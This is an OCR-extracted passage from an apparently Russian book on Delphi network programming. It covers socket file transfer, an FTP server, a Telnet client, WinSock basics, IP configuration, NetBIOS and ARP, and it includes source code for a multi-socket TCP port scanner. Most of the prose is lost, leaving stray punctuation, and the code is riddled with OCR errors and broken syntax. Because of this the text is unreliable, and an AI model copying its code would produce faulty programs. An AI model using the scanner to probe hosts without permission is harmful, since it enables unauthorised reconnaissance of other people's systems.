. , , ", ",
:
fs.Position:= 0;
.
size .
, sendText:
Socket.SendText('Size:'+IntToStr(fs.Size) + #0);
size:, ,
. , . #0,
.
.
sendstream socket.
( , . .).
. , , .
:
, IP- ;
, ;
G ,
;
TClientSocket,
/ .
7 ,
. 4 . 3 8 .
Tclientsocket Port
, 2024.
private :
private
{ Private declarations }
fs: TFileStream;
www.kodges.ru
189
Reciving:Boolean;
DataSize: integer;
onclick :
procedure TForml.ConnectButtonClick(Sender: TObject);
begin
ClientSocketl.Address:=Editl.Text;
ClientSocket1.Active:=true;
end;
, ,
. .
onclick :
procedure TForml.DisconnectButtonClick(Sender; TObject);
begin
ClientSocketl.Active:=false;
end;
.
OnConnect ClientSocket.
,
. :
procedure TForml.ClientSocketIConnect(Sender: TObject;
Socket: TCustomWinSocket};
begin
Socket.SendText('s') ;
end;
, ,
.
onRead ClientSocket, ,
. ( 4.7).
: - *
> . : :
*
t
www.kodges.ru
190
begin
s:= Socket.ReceiveText;
if Reciving then
begin
fs.Write(s[l], length(a));
if fs.Size=DataSize then
begin
fs.Free;
Reciving:=false;
Application.MessageBox(', ', '!!!');
end;
exit;
end;
if copy(s, 1, 5}='Size:' then
begin
sl:=copy(s, 6, Pos(#0, s)-6);
DataSize:=StrToInt(si);
Delete(s, 1, Pos{#0, s ) ) ;
Reciving:=true;
fs:=TFileStream.Create('output.dat p ,fmCreate);
fs.Write(s[lb
length(s));
end;
end;
.
s.
, Reciving true.
, ,
:
if copy(s, I, 5)='Size:' then
begin
sl:=copy(s, 6, Pos(#0, s)-6);
DataSize:=StrToInt(si);
Delete (s, 1, Pos(#0, s));
Reciving:=true;
fs:=TFileStream.Create('output.dat1,fmCreate);
fs.Write(a[l], length{s));
end;
www.kodges.ru
191
:
s i z e : , ,
. .
6- ( size:) #:
sl:=copy(s,
6,
Pos(#0,
s)-6);
DataSize. #, . .
.
Reciving true. , .
, 8 ,
, .
s , . , :
fs:=TFileStream. Create('output.dat1,fmCreate);
output.dat. ,
. , ,
, . fmcreate, .
, .
, ,
. .
, , :
Socket. SendTextCSize: '+IntToStr (fs . Size) + #0+'1:' + Editl .Text+#O) ;
,
s, , .
write.
, :
if Reciving then
begin
fs.Write(s[l], length(s));
if fs.Size=DataSize then
begin
fs.Free;
www.kodges.ru
192
4
Reciving:=false ;
Application.MessageBoxf',
' ,
'!)!');
end;
exit;
end;
, :
Reciving true, , ,
. .
, , , , Reciving .
.
:
var
ras: TMemory Stream; //
begin
ms:=TMemoryStream.Create; //
Imagel.Picture.Bitmap.SaveToStream(ms); //
Socket.SendText('Size:'+IntToStr(ms.Size) + #0);
Socket.SendStream(ms);
end;
imagel.
, .
- \\ 4\Send File
, .
4.11. FTP-
ICS, ,
FTP.
,
FTP- .
, ,
Ftpserver, , .
:
Bunner , ,
FTP-;
MaxCiients , ;
www.kodges.ru
193
Port , .
ftp, 21- . ,
.
FTP s t a r t FtpServer. ,
:
: J21
jtj
^i !FTpi
^ JaJ! servt
. 4.39. -
:
procedure TMainForm.StopFTPlClick(Sender: TObject);
begin
www.kodges.ru
194
: , DisconnectAll, stop.
, .
,
. , . , ,
.
( , ), , .
,
.
FtpServer .
Authenticate.
:
procedure TMainForra.FtpServerlAuthenticate(Sender: TObject;
Client: TFtpCtrlSocket; UserName, Password: TFtpString;
var Authenticated: Boolean);
begin
if isClientThere(UserName) = false then
begin
clidir := isClient(username,password, client);
if clidir <> '' then
begin
Authenticated := true;
client.HomeDir := clidir;
end;
end
else
Authenticated := false;
StatusBarl.Panels[1].text := ' : ' +
IntToStr(ListViewl.Items.count);
end;
www.kodges.ru
195
,
, . :
UserName , ;
Password , ;
Authenticated
true, .
false, , .
i s c i i e n t . ,
. . ,
, FTP-
.
, ,
.
, , OnChangeDirectory.
, . :
procedure TMainForm.FtpServerlChangeDirectory(Sender: TObject;
Client: TFtpCtrlSocket; Directory: TFtpString; var Allowed: Boolean);
begin
if length(Client,Directory) < length(client.HomeDir) then
Allowed := false
else
Allowed := true;
if pos('..', Client.Directory)>0 then
Allowed := false;
end;
.
, , Allow false, . , : \Home, : \ .
, . : C:\Home\..\,
, . .
, ,
www.kodges.ru
196
. ,
!!!
JOB.)
.
I anonymc
: : Anonymous
:
; Guest
,'
:
1
Cancel
. 4.40. FTP-
, , onciientcommand. , FTP-. ,
, , . 4.8 , .
www.kodges.ru
197
www.kodges.ru
198
if IsAllowedTo(client.username,5) = false then
begin
client.SendAnswer('501 - !');
exit;
end;
fileordirdel(client.Directory,params);
client.FileName :='';
client.Directory := '';
end;
end;
Keyword ,
.
CyD FTP Client XP
Fife Servers Project Schedule Edit Command Tools Transfer type Options Messages Help
[ Please wait
N a m e
. 4 . 4 1 . FTP-,
,
.
FTP, Ftpserver ICS . , , , .
- \\ 5\FTP Server
FTP- .
www.kodges.ru
199
4.12. TELNET-
, Telnet. -
. ,
Telnet, .
FTP, FTP .
Telnet-
FTP-, Windows 2000
Windows XP. Windows 9x Personal
WEB Server, . .
,
. 4.42. : IP- ,
, ,
.
.
/ Telnet
:|127.0.0.1
;121
Connect1
Q
scionneclI
:) VT100
!
. 4.42.
: Connect Disconnect . ,
, , .
idTeinetDemo Indy Clients
. , .
www.kodges.ru
200
Connect :
procedure TTelnetForm.ConnectButtonClick(Sender: TObject);
begin
IdTelnet1.Terminal:=TerminalCB.Text;
IDTelnetl.Host := EdtServer.Text;
IDTelnetl.port := SpnedtPort.Value;
IdTelnet1.Connect;
end;
IdTelnet 1:
Terminal ;
Host , ;
Port , .
Disconnect :
procedure TTelnetForm.btnDisconnectClick(Sender:
TObject);
begin
IdTelnetl.Disconnect;
end;
Disconnect IdTelnetl, .
OnKeyPress Memol. :
procedure TTelnetForm.MemolKeyPress(Sender: TObject;
var Key: Char};
begin
if IdTelnetl.Connected then
begin
IdTelnetl.SendCh(Key) ;
end;
end;
: IdTelnetl , . sendch IdTelnetl,
. , Memol, .
www.kodges.ru
201
onconnected
idTeineti. :
procedure TTelnetForm.ldTelnetlConnected(Sender: TObject) ;
begin
Memol.Lines,Add(' .');
1
Memol.Lines.Add ' );
Memol.Lines.Add() ;
end;
, , , .
Memol,
.
onDataAvaiiable
idTeineti. ,
. 4.9.
www.kodges.ru
202
end;
Start := Stop + 1;
if Start > Length(Buffer) then
Break;
if Buffer[Start] = LF then
Start := Start + 1;
Stop := Start;
while (Buffer[Stop] <> CR) and (Stop <= Length(Buffer)) do
Stop := Stop + 1;
end;
end;
7' lelnet
Connect
:|2
]*J
nisconnect
: VT100
.
22D Microsoft FTP Service
USER
331 Password required for .
PASS dsghdsgxcvf
230 User logged in,
HELP
214-The following commands are recognized(* ==>'s unirnplemented).
ABOR
ACCT
ALLU
APPE
CDUP
DELE
HELP
. 4 . 4 3 .
Memoi.
, ,
. CR LF #13 #,
.
www.kodges.ru
203
Windows 2000
.
,
, . 4.45.
, ( ).
, , .
Internet Information Services (IIS).
, IIS.
FTP-, Web-, (, )
. . , , (
) .
/
// .
, . 4.46.
, Internet
Information Services. , :
FTP- ;
Web- ;
SMTP- .
www.kodges.ru
204
4
Windows
Windows
Windows 2000.
, .
"".
:
1
.
1,1
0,1
1
: IIS ( <5 FTP) FrontPage,
, ASP,
. :
0,1
..
:
2358.9
- -
< I > j
. 4.45.
MiiMjm
| 1
. ( ^
i
S #>
{9
!
^ WMI
II
[ |
^iFTP-
i^Be6-ysen
;*]
3 ^
JT L
. 4.46. IIS
, ,
.
FTP-
. ,
FTP-.
IP- (),
. ,
www.kodges.ru
205
, FTP. , 127. . . 1.
, FTP.
.
Telnet-.
(IP- 127.0.0.1)
21- , FTP-. Memoi , Memoi :
USER
<Enter>, , ,
.
:
PASS
, ,
:
HELP
, Tel net-. ,
. FTP, 7- , - ( , ),
, .
- \\ 5\Telnet .
www.kodges.ru
www.kodges.ru
Windows WinSock. , , .
, ,
, WinSock.
Windows ,
Delphi
, , .
WinSock . , ,
. ,
Delphi, ,
.
Windows.
5.1. WinSock
WinSock Winsock.dll.
, /
. . WinSock
. MS
WinSock2, .
, ,
. , ,
, C/C++
- *nix,
.
Windows Linux , .
www.kodges.ru
208
, Microsoft -, .
, WinSock2, a Delphi . , .
Headers/Winsock2.
socket
.
. ,
.
1. WinSock.
2. socket ( ).
, . , , .
, ,
, .
3. .
,
, .
5.1.1. WinSock
, (
UNIX- ).
wsAStartup. :
WinSock, . 1.0
MAKEWORD(I,O), , ,
MAKEWORD(2,0).
TWSADATA,
WinSock.
, .
wsACieanup, . ,
WinSock, .
,
.
, WinSock
. Delphi .
www.kodges.ru
209
- winSock2.pas, ws2tcpip.inc, wsipx.inc, wsnwlink.inc
wsnetbs.inc. ,
Winsock2, .
Delphi\Lib,
.
,
Delphi. , ,
.
Environment Options
TypeLbraty | Environment Variables j Internet
Preferences | Designer | Object Inspector | Palette
| DelpNDirecl
Library Explorer
Biowsing path:
OR"
Cancel
Help
. 5 . 1 . Environment Options
, Delphi
Tools Environment options. (. 5.1)
www.kodges.ru
210
II -
,...-71
% $
J L J
...
G r e y e d items d e n o t e i n v a l i d p a t h .
l$(DELPHI)SLib
delete
OK
. 5.2.
. .
, .
.
.
Add.
, , .
WinSock.
. . 5.3 - .
onclick
:
procedure . Forml.ButtonlClickf Sender: TObject);
www.kodges.ru
211
info:TWSADATA;
begin
WSAStartup(MAKEWORD(2,0), info);
VersionEdit.Text:=IntToStr(info.wVersion);
DescriptionEdit.Text:=info.szDescription;
SystemStatusEdit.Text:=inf.szSystemStatus;
WSACleanup;
end;
/ WinSock
: JVetsionEdit
. iDesctiptianEdit
- jSyslemStetusEdit
. 5.3.
WinSock
wsAStartup. ,
info. .
WinSock
: |2
| WinSock 2.0
| Running
I jl
. 5.4.
- \\ 5\Initialize .
www.kodges.ru
212
5.1.2.
,
socket . . socket, .
. , PF_INET AF_INET. , .
, .
, .
. , .
- . 4, ,
: TCP ( ) UDP (
, ). TCP SOCKSTREAM, UDP,
SOCK_DGRAM.
, . (, IPPROTO_IP,
IPPORT_ECHO, IPPORT_FTP . .). ,
winsock2.pas IPPORT_, , , .
/
. .
: , . , . , .
:
. , .
,
. ( ),
.
, ,
. ,
, .
www.kodges.ru
213
, .
WinSock connect. :
-, socket.
TSockAddr.
, .
, sizeOf
.
TSockAddr , .
, , :
s i n f a m i l y .
, (
PF_INET AF_INET);
s i n a d d r , ;
sinjport , .
:
var
addr: TSockAddr;
begin
addr.sin_family :*= AF^INET;
addr.sin_addr := ServerName;
addr.sin_port := htons(21);
connect(FSocket, @addr, sizeof(addr));
end;
closesocket.
.
5.2.
WinSock.
, , .
{. 4.3), , .
,
, ,
. , WinSock ,
www.kodges.ru
214
. .
, - .
, , ,
. ,
, .
, ,
. download.com , .
, -
1015 . . .
, .
. , .
, ?
, Ping, Whois
(. . 4.2) - ,
.
,
. , ,
. , , .
, ,
3040 .
, , .
.
. , , , (
40 ), . , .
.
.
connect.
www.kodges.ru
215
, , , .
,
, ,
. ,
, .
connect. ,
, .
, :
1. TSOCKET,
, :
FSocket: array [0..39] of TSOCKET; // 40
40 , ,
40 .
2. .
3.
connect. 1-
, 2- .
4. .
5. .
6. - , , .
7. .
8.
.
- .
, ,
.
WinSock .
- wsACreateEvent ().
, WSAEventSelect.
, ( connect).
,
. - , , , .
www.kodges.ru
216
- , , , . .
5.2.1.
,
. ,
, . , .
, 21- .
, ,
. , , . ,
, .
WinSock,
, . ,
, ,
. ,
, , .
, .
, ,
. ,
, , ,
.
, .
, 28,8 2040 , 1 2 .
1 024 , 34 .
, 1 024
10. 4
10 .
,
50 .
50 1 .
.
www.kodges.ru
217
1 40
1 024 16 . , ,
.
, 25 .
, .
,
, .
5.2.2. Coding
. , . 5.5.
024
DisplayMemo
DisplayMemo: TRichEdit
Origin: 0, 89; Size: 543 x 263
Tab Stop: True; Order: 1
. 5.5.
:
TEdit
AddressEdit;
,
TEdit StartPortEdit;
, TEdit EndPortEdif,
, ;
www.kodges.ru
218
, TRichEdit
DisplayMemo.
uses winsock2, WinSock.
5.1.
addr
TSkAdd;
hEvent
THandle; //
fset
TFDset;
tv
TTimeval;
PServEnt;
tec
PName:String;
GInitData : TWSADATA;
begin
//
// . ,
//
ProgressBarl.Min:=StrToInt(StartPortEdit.Text) ;
ProgressBarl.Max:=StrToInt(EndPortEdit.Text);
// WinSock
WSAStartup(MAKEWORD(2,0>, GInitData);
// i
i:=StrToInt(StartPortEdit.Text);
// addr,
// connect
addr,sin_family := AF_INET;
addr.sin_addr.s_addr := INADDR_ANY;
// ,
www.kodges.ru
219
DisplayMemo.SelAttributes.Color:=clTeal;
DisplayMemo.SelAttributes.Style:=
DisplayMemo.SelAttributes.3tyle+[fsBold];
DisplayMemo.Lines.Add(' ');
//LookupName
//
//
// addr
addr.sin_addr := LookupName;
// ,
DisplayMemo.SelAttributes.Color:=clTeal;
DisplayMemo.SelAttributes.Style:DisplayMemo.SelAttributes.Style+[fsBold];
DisplayMemo.Lines.Add('...');
// index ,
index:=40;
//
hEvent := WSACreateEvent();
while i<StrToInt(EndPortEdit.Text) do
begin
/// busy false
for j:=0 to index do
busy[j]:=false;
//
// j 0
//
for j:=0 to index do
begin
// j-
//,
if i>StrTo!nt(EndPortEdit.Text) then
begin
index:=j-l;
break;
end;
// j- FSocket
FSocket[j] := socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
// j- WSAEventSelect
WSAEventSelect{FSocket[j], hEvent, FD_WRITE + FD^CONNECT);
8 . 978
www.kodges.ru
220
5
// ,
addr. sin__port := htons(i);
//
connect(FSocket[j], @addr, sizeof(addr));
// .
// ,
//
Application.ProcessMessages;
//,
if WSAGetLastError()=WSAEINPROGRESS then
begin
// ,
closesocket (FSocket[j]);
// busy true
// ,
//
busy[j]:=true;
end;
// port,
//
port[j]:=i;
// i, ,
//
// for
i:=i+l;
end;
// fset
FD_Zero(fset);
// fset
for j := 0 to index do
begin
if busy[j] <> true then
FD_SET (FSocket[j], fset);
end;
//
Application.ProcessMessages;
// ,
//
tv.tv sec := 1; // 1
www.kodges.ru
221
tv.tv_usec := 0;
//,
s:=select (I, nil, @fset, nil, @tv);
//
Application.ProcessMessages;
// , ,
// FSocket ,
for j := 0 to index do
begin
//, - ,
// ,
if busy[j] then continue;
if FD_ISSET (FSocket[j], fset) then
begin
// s Opt
s:=Sizeof(Opt);
opt:=l;
// j- ,
// opt
getsockopt(FSocket[j], SOL_SOCKET, SO^ERROR, @opt, s);
// opt , ,
if opt=0 then
begin
//
tec := getservbyport(htons(Port[j]),'TCP');
if tec=nil then
PName:='Unknown'
else
begin
PName:=tec.s_name;
end;
//
DisplayMemo.Lines.Add(':'+AddressEdit.Text+': :'
+ IntToStr (Port [ j ]) + ' ('+Pname+') '-*-' '} ;
end;
end;
// j- ,
closesocket(FSocket[j]);
end;
www.kodges.ru
222
// ProgressBarl
ProgressBarl.Position:=i;
end;
//
WSACloseEvent(hEvent);
//
DisplayMemo.SelAttributes.Color:=clTeal;
DisplayMemo.SelAttributes.Style:=
DisplayMemo.SelAttributes.Style+ t fsBold];
DisplayMemo. Lines. Add (' . . . ') ,ProgressBarl.Position:=0;
end;
,
.
, .
.
addr TSockAddr.
, , :
sin_family ,
AF_INET;
www.kodges.ru
223
else
begin
HostEnt := gethostbyname(PChar(AddressEdit.Text));
FillChardnAddr, SizeOf (InAddr) , 0);
if HostEnt <> nil then
begin
with InAddr, HostEnt" do
begin
S_un_b . s_bl : = h__addr" [0] ;
S_un_b. s_b2 : = h_addr [ 1 ] ;
S_un_b.s_b3 := h_addrA[2];
S_un_b.s JD4 := h_addrA[3];
end;
end
end;
Result := InAddr;
end;
.
, , IP- , 127.1.1.2.
inet_addr.
, . gethostbyname, IP- ,
.
,
gethostbyname. ,
: servername.ru. ,
IP-, . :
function TForml.LookupName: TInAddr;
var
HostEnt: PHostEnt;
InAddr: TInAddr;
begin
HostEnt := gethostbyname(PChar(AddressEdit.Text));
FillChardnAddr, SizeOf (InAddr) , 0) ;
if HostEnt <> nil then
begin
www.kodges.ru
224
with InAddr, HostEnt" do
begin
S_un_b.s_bl : h_addr"[0J;
S_un_b.s_b2 := h _ a d d r A [ l ] ;
S_un_b.s_b3 := h_addr A [2];
S_un_b.s_b4 := h_addr A [3);
end;
end
Result := InAddr;
end;
(
|24
...
..: :7(echo)
; 127.0.0.1: :9 (discard)
; 127.0.0.1: :13(daji(ime)
: 127.0.0.1: :17(qoldJ
: 127.0.0.1: :19(chargen)
: 127.0.0.1: :21 (ftp)
:127.01: :25(smtp)
: 127.D.0.1: :42 Inamesetvei)
:127.0.0.1: :53 (domain)
: 127.0.0.1: : 80 (http)
: 127.0.0.1: :88 (kerbetos)
:127.0.0.1: :119(nntp]
:127.0.0.1: :15()
:127.0.0.1: :389(ldap)
:127.0.0.1' :443(https]
: 127.0.0.1. ;445(mictosoft-ds)
: 127.0.0.1: :464(kpasswd)
:127.0.0.1: :563 (Unknown)
. 5.6.
wsAEventseiect,
:
;
, WSACreateEvent;
www.kodges.ru
225
. FD_WRITE ( )
FDCONNECT ( ),
.
- \\ 5\Scan Port
.
5.3. IP-config
, , Winipcfg.exe, Windows 9x
, ,
. , Windows NT (2000, )
, IP
. ,
Windows, .
, ,
.
, winipcfg, Delphi
: IpExport.pas, IpHlpApi.pas,
IpIfConst.pas, IpRtrMib.pas IpTypes.pas. C++ SDK, Microsoft. Delphi
Headers/IP -.
lib ,
Delphi. , , , Delphi .
, , .
Delphi .
uses : IpHlpApi, IpTypes, IpIfConst.
.
. 5.7 .
.
PageControi. : IP Config Ethernet info.
,
, .
OnChange PageControll.
, IP. :
if PageControll.ActivePageIndex^O then
GetlPInfo;
www.kodges.ru
226
5
{* i
IP Conffg J Ethernet info j
Hostname; HgstNameLabel
Node Type: NodeTypeLabel
NetBIOS Scope ID: NetBlOSScopeLabel
IP Routing Enabied: IPRoUingLabel
WINS Proxy Enabled: WlNSProq-Label
NetBIOS Resokition Uses DNS: NetBIOS Resolutiortabel
DNS Sewers IP:
. 5.7.
: ,
GetiPinfo. , ,
GetiPinfo.
private :
private
procedure GetiPinfo;
.
<Ctrl>+<Shift>+<C>, Delphi , 5.3.
5 ' GotlPtnfo
procedure
I l l
TSystemlnfoForm.GetiPinfo;
var
FixedlnfoSize, Err:DWORD;
pFixedlnf:PFIXED_INFO;
pAddrStr: PIP__ADDR_STRING;
begin
FixedlnfoSize:=0;
Err:=GetNetworkParams(nil,
FixedlnfoSize);
www.kodges.ru
227
www.kodges.ru
228
, - .
:
Err:=GetNetworkParams(nil, FixedlnfoSize);
if (ErroO) and (Err<>ERROR__BUFFER_OVERFLOW) then
begin
HostNameLabel.Caption:='Error';
exit;
end;
pFixedlnfo:=PFIXED_INFO(GlobalAlloc(GPTR, FixedlnfoSize));
GetNetworkParams(pFixedlnfo, FixedlnfoSize);
, GetNetworkParams . .
. , n i l , , . Err,
. 0
ERROR_BUFFER_OVERFLOW, TO - ,
. ,
.
pFixedlnfo PFIXED__INFO,
. ,
GetNetworkParams.
GetNetworkParams, pFixedlnfo.
, , pFixedlnfo.
:
pFixedlnfo.HostName ( );
pFixedlnfo. DnsServerList. IpAddress DNS-.
, pFixedlnfo.DnsServerList.Next, . Next
P I P A D D R S T R I N G ,
DNS-. :
pAddrStr:=pFixedInfo.DnsServerList.Next;
while (pAddrStrOnil) do
begin
pAddrStr.IpAddress.S
pAddrStr:=pAddrStr.Next ,
end;
www.kodges.ru
229
D pFixedinfo.NodeType . .
1, Broadcast, 2 Peer to peer, 4 Mixed, 8
Hybrid;
DNSSeivertIP:
80.254,96.4
. 5.8.
5.4.
, . ,
TPageControi . ,
, .
www.kodges.ru
230
. IP- .
The Bat , , IP-, . , , ,
. IP , .
, , . 5.9.
,
. TListview, :
Name IPListViewJ
ViewStyle vsReport;
Columns IP
Address
IPAddres
80.254.105.18
Subnet Mask
255 255.255.255
TLabel,
.
www.kodges.ru
231
. , onshow
( ). , .
- , . .
,
(, USB-), .
, Onshow
5.4.
//
AdapterCB.Items.Clear;
//
AdapterlnfoSize:=0;
Err:=GetAdaptersInfo(nil, AdapterlnfoSize);
// , ...
if (ErroO) and (Err<>ERROR__BUFFER_OVERFLOW) then
begin
AdapterCB.Items.Add('Error');
exit;
end;
//
pAdapterlnfo := PIP_ADAPTER_INFO(GlobalAlloc(GPTR, AdapterlnfoSize)
GetAdaptersInfo(pAdapterlnfo, AdapterlnfoSize);
pAdapt := pAdapterlnfo;
//
while pAdaptonil do
begin
case pAdapt.Type_ of
MIB IF TYPE ETHERNET:
www.kodges.ru
232
MIB_IF_TYPE_ETHERNET
Token Ring;
www.kodges.ru
233
MIB_IFJTYPE_FDDI FDDI;
MIB_IF_TYPE_PPP -;
MIB__IFJTYPE_LQOPBACK LoopBack;
MIB_IF_TYPE_SLIP Slip-;
MIB_IF_TYPE_OTHER .
ComboBox , ,
- , , . ,
OnChange . .
GetAdaptersinfo ,
:
Adapter!nfoSize:=0;
Err:=GetAdaptersInfo(nil, AdapterlnfoSize);
,
, . , . ,
, . ,
USB, .
, .
. .
:
pAdapterlnfo := PIP_ADAPTER_INFO(GlobalAlloc[GPTR, AdapterlnfoSize));
GetAdaptersInfo(pAdapterInfo,
AdapterlnfoSize);
pAdapt := pAdapterlnfo;
while,
, . , pAdapterlnfo:
IP_ADAPTER_INFO = r e c o r d
Next: PIP_ADAPTER_INFO;
Combolndex: DWORD;
AdapterName: array [0..MAX_ADAPTER_NAME_LENGTH + 3] of Char;
Description: array [0..MAX_ADAPTER_DESCRIPTION_LENGTH + 3] of Char;
AddressLength: UINT;
Address: array [0..MAX_ADAPTER_ADDRESS_LENGTH - 1] of BYTE;
Index: DWORD;
www.kodges.ru
234
__: UINT;
DhcpEnabled: UINT;
CurrentlpAddress: PIP_ADDR__STRING;
IpAddressList: IP_ADDR_STRING;
GatewayList: IP_ADDR_STRING;
DhcpServer: IP_ADDR_STRING;
HaveWins: BOOL;
PrimaryWinsServer: IP_ADDR_STRING;
SecondaryWinsServer: IP__ADDR_STRING;
LeaseObtained: time__t;
LeaseExpires: time_t;
end;
:
Comboindex .
AdapterName , .
Description .
AddressLength (MAC) .
Address , . .
. .
DhcpEnabled DHCP.
CurrentlpAddress IP-.
G a t e w a y L i s t .
ipconfig.
, , , .
- \\ 5\IP Config
.
www.kodges.ru
235
5.5. WinSock
WinSock, : .
. WinSock
, .
, Windows .
, ,
l i s t e n .
, .
. WinSock2:
function listen(
s: TSocket;
backlog: Integer
): Integer; stdcall;
s .
backlog ,
. SOMAXCONN, TO .
biocklog
" ". Windows 95/98, .
accept.
. ,
-:
function accept (
const s: TSocket;
var addr: TSockAddr;
var addrlen: Integer
}: TSocket; stdcall;
s /.
addr , .
addrien .
addrien addr.
www.kodges.ru
236
, s. - ,
.
-
Connect addr
. 5.10.
, . . ,
, - , .
send.
function send(
s: TSocket;
var Buf; len, flags: Integer
) : Integer; stdcall;
:
s , ;
buf ;
len ;
flags , .
.
flags : MSG_DONTROUTE ,
, MSG_OOB
out-of-band (" "), .
SO_MAX__MSG_SIZE.
recv:
function recvf
s: TSocket;
var Buf; len, flags: Integer
): Integer; stdcall;
:
buf .
len .
www.kodges.ru
237
flags , , out-of-band.
MSG_PEEK ,
;
MSGOOB , send.
recv , .
sendto recvfrom.
, send recv, .
, ,
. shutdown .
5.6. NetBIOS
NetBIOS,
, .
,
NetBIOS, .
NetBIOS , API-
NetBIOS. , ,
, .
, .
Windows NetBIOS netapi32.dll. ,
C++ netapi32.Hb. , Delphi, nb.pas. -
Headers/nb.
, NetBIOS
, :
function NetbiosCmd(var NCB: TNCB): Word;
NCB.
, .
, , .
www.kodges.ru
238
NCB. Windows :
TNCB = packed record
Command: byte;
RetCode: byte;
LSN: byte;
Num: byte;
Buf:Abyte;
Length: word;
CallName: TNBName;
Name: TNBName;
RTO: byte;
STO: byte;
PostPrc: TNCBPostProc;
Lana__Num: byte;
Cmd__Cplt: byte;
Reserved: array[0..9] of byte;
Event: THandle;
end;
(command) ,
. ,
, _.
( NCBASYMC) , . NCB__ASYNC . , . (
+ and, )
NCB_ASYNC, TO .
(Retcode) . , NetBIOS
.
$ff NRCPENDING, ,
.
, NRC_.
LSN ,
NCB__CALL ( ) NCB LISTEN
( ).
Num .
NCB_ADDNAME ( )
NCB^ADDGRPNAME ( ).
www.kodges.ru
239
(Buf) , ,
.
Length . ,
.
caiiName .
Name .
RTO (time-out) .
, ,
500 . 1 000 , ,
2, 1 .
STO . ,
500 .
postPrc ,
.
TNCBPostProc = procedure(P: PNCB);
,
PNCB, . . .
Windows 3.11 ( ),
poat_Of f s post_Seg ( ).
Lana_Num , .
Cmd_cpit .
$f f NRC_PENDING.
G Reserved , .
Event Win32 .
, .
7 1 HetBios
NetBIOS j
. 5 . 1 1 . -
www.kodges.ru
240
:
procedure TForml.ButtonlClick(Sender: TObject);
var
L_Enum : TLana_Enum;
i:Integer;
begin
L_Enum := NbLanaEnum;
for i := 0 to (L__Enum. Length - 1) do
begin
NbReset(L_Enum.Lana[i] ) ;
NetBIOSLabel.Caption:=NbGetMacAddr(Edit1.Text, i) ;
if NetBIOSLabel.Captiono1?1 then break;
end;
end;
NetBIOS
NbLanaEnum, . NetBIOS- NCB_ENUM.
:
function TForml.NbLanaEnum: TLana_Enum;
var
NCB: TNCB;
L_Enum: TLana_Enum;
RetCode: Word;
begin
FillChar(NCB, SizeOf(NCB), 0);
FillChar (L__Enum, SizeOf (TLana_Enum), 0) ;
NCB.Command := NCB_ENUM;
NCB.Buf := @L__Enum;
NCB.Length := Sizeof(L_Enum);
RetCode := NetBiosCmd(NCB);
if RetCode <> NRC_GCODRET then
begin
L_Enum.Length := 0;
L__Enum.Lana[0] := Byte (RetCode) ;
end;
Result := L_Enum;
end;
NCB Fiiichar.
L Enum.
www.kodges.ru
241
NCB. NCB_ENUM (,
), ( Buf)
( Length). NetBIOS-
NetBiosCmd. , .
,
-:
for i := 0 to (L_Enum.Length - 1) do
begin
NbReset(L_Enum.Lana[i]);
NetBIOSLabel.Caption:=NbGetMacAddr(Editl.Text,i);
if NetBIOSLabel .Captiono1 ?' then break;
end;
(LANA).
- ,
- . NetBIOS, LANA,
. NbReset, Net BIOS- NCB_RESET. He , .
100%. NbReset:
function TForml.NbReset(1: Byte): Word;
var
NCB: TNCB;
begin
FillChar(NCB, SizeOf(NCB), 0);
NCB.Command := NCB_RESET;
NCB.Lana_Num := 1;
Result := NetBiosCmd(NCB);
end;
NbGetMacAddr, -:
function TForml.NbGetMacAddr(Name: String; LanaNum: Integer): String;
var
NCB: TNCB;
AdpStat: TAdpStat;
RetCode: Word;
i:Integer;
begin
FillChar(NCB, SizeOf(NCB), 0);
www.kodges.ru
242
:-
'?';
end;
end;
:
NCB.CallNamefOJ
:= B y t e { ' * ' ) ;
caiiName , , NetBIOS.
, , .
,
. NetBIOS.
- \\ 5\NB
.
5.7. /
IP-
, IP- (. . 5.3), , , . , IP .
www.kodges.ru
243
IP-,
API- WinSock. , .
, IP- ().
, ,
"", .
TEdit. onciick :
procedure TForml.ButtonlClick(Sender: TObject);
type
TaPInAddr = Array[0..10] of PInAddr;
PaPInAddr =ATaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
Buffer: Array[0..63] of Char;
I: Integer;
GInitData: TWSAData;
begin
//
WSA5tartup($101, GInitData);
// ()
GetHostName(Buffer, SizeOf(Buffer));
//
phe := GetHostByName(buffer);
if phe = nil then Exit;
// .
A
pPtr := PaPInAddr(phe .h_addr_list);
I := 0;
//
while pPtrA[I] <> nil do
begin
//
TEdit(FindComponent('Edit'+IntToStr(i+l)) ) .Text :=inet_ntoa (pptr"-[I] " ) ;
Inc(I);
end;
//
WSACleanup;
end;
www.kodges.ru
244
, . GetHostName, .
:
, ;
.
GetHostByName, IP-
.
, . ,
,
GetHostName.
PInAddr.
IP- ?
,
; ,
10 100 /.
.
:
T E d i t ( F i n d C o m p o n e n t ( ' E d i t -IntToStr (i + 1 ) ) ) . T e x t : = i n e t _ n t o a ( p p t r ~ [ I ] )
FindComponent,
. ,
Editi. Edit , intTostr (i+i).
FindComponent ( ' E d i t i ' ) ,
FindComponent('Edit2') .
FindComponent T E d i t T E d i t ( FindComponent ( ' E d i t ' + I n t T o S t r (i + 1) ) ) .
, Tedit-:
TEdit(FindComponent('Edit'+IntToStr(i+1))).:=3;
. , CheckBox
checkBoxi, 2, .
, , :
for i:=1 to 5 do
if TCheckBox(FindComponent('CheckBox'+IntToStr(i+1))).Checked then
begin
//i- CheckBox
end;
i n e t n t o a .
IP- . ,
.
- \\ 5\GetIP .
www.kodges.ru
245
5.8. ARP
ARP. , ,
, . ARP (Address Resolution Protocol)
. RARP , , ARP.
, , -
( ).
. -
Windows 9x/ME, Ipconfig.exe winipconfig.exe Windows. winipconfig.exe ,
, . 5.12.
IP
!
[ <.--4
-' setups;
.'11~,
" """"
':
WNS Fray [
S H W M * helfciQS DNS I
E'nenpt cMMM.fi
-
[ Asapter
. 4-544'V- %
P-aopec I
0
6D
6.6
"o.6 ' :-V
j
U C I - 0 O H JlfKiS
. - " : _ 5 " . 25 25
\v. 3
' ! ' '-
Bge! !
- ( ) ( ).
, .
Windows 2000/XP ,
, .
www.kodges.ru
246
\\ (. 5.13).
-
CD-ROM
.
1
'=}
WinSock
;t>
:
ID PNP-
IP-
IP-
IP
DHCP .
DHCP-
DHCP-
DHCP-
1 -
/
IRQ-
4ft54:E&2ft3AA9
0xO000E4OO-OxO0OQE41F
IRQ 12
d:\windows\svstem32\drivers1iw340nd.!i'
, , . ARP .
- :
. ,
.
ARP-. - FF-FF-FF-FF-FF IP- . -
IP- -, - . .
, .
IP- ,
-. , ,
- . -, , -.
IP, - ,
. "-".
www.kodges.ru
247
-, .
(
10 ). 10
